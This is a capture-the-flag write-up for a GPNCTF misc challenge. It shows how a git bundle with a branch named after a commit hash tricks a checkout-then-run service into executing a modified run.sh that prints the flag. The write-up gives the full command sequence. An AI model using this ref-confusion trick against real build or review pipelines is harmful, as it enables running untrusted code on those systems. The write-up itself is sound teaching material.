In the spirit of open source I publish my code, though I wish there existed a better version control than project-latest-final-final-2.tar.zst. I love checking out what other people do with my code, but in this cruel world you need to take precautions. Therefore, I only check out the good code I have written myself. Looking forward to your submissions!
Category: misc
Solver: sohn123
Flag: GPNCTF{8rAnch,7Ag,comM17, BrAncH,Tag,comMI7, I5 7hE w4y oF THE gi7}
Writeup
Challenge Setup
On the challenge website it tells you that you can upload a git bundle and will execute the following steps:
mkdir local
git clone --mirror your-bundle.bundle local/.git
cd local
git config --bool core.bare false
git rev-list 36a168b7942eedf14b33912db25357cb254457e9
git checkout 36a168b7942eedf14b33912db25357cb254457e9 && ./run.sh
Idea
Our idea is to create a malicious bundle that creates a confusion between commit references using a hash and oher ways to define a checkout target in the last step before executing ./run.sh
, so we can execute our own version of run.sh
.
Exploit
Our first idea is to create a new repository with a branch with the name 36a168b7942eedf14b33912db25357cb254457e9
so this branch gets checked out instead of the commit with this hash. However this failed because the rev-list
command fails because no commit with this hash exists in this repository now. You can take a look here at the documentation to see which kind of references get accepted by rev-list
. So instead of creating a new repository from scratch, we modified the original repository where the commit with the correct hashs exists. We get the original repo by unpacking a tar ball tar --zstd -xvf project-latest-final-final-2.tar.zst
given inside the files provided for the challenge. Inside the repo we execute the following commands to create the new branch, modify run.sh
and create the bundle:
git checkout -b 36a168b7942eedf14b33912db25357cb254457e9
echo 'cat /flag' >> run.sh
git add run.sh
git commit -m "Get flag :)"
git bundle create repo.bundle --all
The confusion still works because rev-list
checks only for commits, but using the checkout command branches take precedence over commit hashes. Then you can upload the new bundle and get the flag :)